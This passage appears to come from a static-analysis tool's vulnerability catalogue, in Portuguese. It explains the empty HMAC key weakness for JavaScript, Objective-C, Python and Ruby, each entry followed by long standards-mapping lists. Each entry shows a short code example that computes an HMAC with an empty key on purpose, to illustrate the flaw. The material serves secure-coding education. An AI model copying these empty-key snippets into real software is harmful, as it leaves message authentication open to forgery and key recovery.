[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.semantic.java.key_management_empty_hmac_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.
Exemplo 1: O código a seguir usa uma chave HMAC vazia para gerar o hash HMAC:

...
let hmacKey = "";
let hmac = crypto.createHmac("SHA256", hmacKey);
hmac.update(data);
...


O código no Exemplo 1 pode ser executado com êxito, mas qualquer usuário com acesso a ele poderá descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.javascript.key_management_empty_hmac_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.

Exemplo 1: O seguinte código usa uma chave vazia para calcular o HMAC:


...
CCHmac(kCCHmacAlgSHA256, "", 0, plaintext, plaintextLen, &output);
...


O código no Example 1 pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1 é vulnerável a ataques de falsificação e recuperação de chave.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.objc.key_management_empty_hmac_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.

Exemplo 1: O seguinte código usa uma chave vazia para calcular o HMAC:


import hmac
...
mac = hmac.new("", plaintext).hexdigest()
...


O código no Example 1 pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1 é vulnerável a ataques de falsificação e recuperação de chave.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements (L2 L3), 2.7.1 Out of Band Verifier Requirements (L1 L2 L3), 2.7.2 Out of Band Verifier Requirements (L1 L2 L3), 2.7.3 Out of Band Verifier Requirements (L1 L2 L3), 2.8.4 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.8.5 Single or Multi Factor One Time Verifier Requirements (L2 L3), 2.9.1 Cryptographic Software and Devices Verifier Requirements (L2 L3), 2.10.2 Service Authentication Requirements (L2 L3), 2.10.4 Service Authentication Requirements (L2 L3), 3.5.2 Token-based Session Management (L2 L3), 3.7.1 Defenses Against Session Management Exploits (L1 L2 L3), 6.2.1 Algorithms (L1 L2 L3), 6.4.1 Secret Management (L2 L3), 6.4.2 Secret Management (L2 L3), 9.2.3 Server Communications Security Requirements (L2 L3), 10.2.3 Malicious Code Search (L3)
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Mobile 2024 M10 Insufficient Cryptography
[18] Standards Mapping - OWASP Mobile Application Security Verification Standard 2.0 MASVS-CRYPTO-2
[19] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[20] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[21] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[22] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[23] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[24] Standards Mapping - OWASP Top 10 2021 A02 Cryptographic Failures
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4, Requirement 6.5.3, Requirement 6.5.6, Requirement 8.3.2
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[37] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[38] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[49] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[50] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[51] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[52] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[53] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[54] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[55] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[56] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[57] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002010 CAT II
[58] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002010 CAT II
[59] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002010 CAT II
[60] Standards Mapping - Security Technical Implementation Guide Version 6.2 APSC-DV-002010 CAT II
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)
desc.structural.python.key_management_empty_hmac_key
Abstract
Chaves HMAC vazias podem comprometer a segurança do sistema de uma maneira difícil de remediar.
Explanation
Nunca é uma boa ideia usar uma chave HMAC vazia. A força criptográfica do HMAC depende do tamanho da chave secreta, que é usada para o cálculo e a verificação dos valores de autenticação de mensagens. Usar uma chave vazia enfraquece a força criptográfica da função HMAC.

Exemplo 1: O seguinte código usa uma chave vazia para calcular o HMAC:

...
digest = OpenSSL::HMAC.digest('sha256', '', data)
...


O código no Example 1 pode ser executado com êxito, mas qualquer usuário que tiver acesso a ele será capaz de descobrir que ele utiliza uma chave HMAC vazia. Depois que o programa é distribuído, provavelmente não há forma de alterar a chave HMAC vazia, a não ser que um patch seja aplicado ao programa. Um funcionário desonesto com acesso a essas informações poderia usá-las para comprometer a função HMAC. Além disso, o código no Example 1 é vulnerável a ataques de falsificação e recuperação de chave.
References
[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [14] CWE ID 287, [16] CWE ID 798
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [14] CWE ID 287, [15] CWE ID 798
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [13] CWE ID 287, [18] CWE ID 798
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [14] CWE ID 287, [22] CWE ID 798
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[11] Standards Mapping - FIPS200 IA
[12] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1), SC-13 Cryptographic Protection (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management, SC-13 Cryptographic Protection
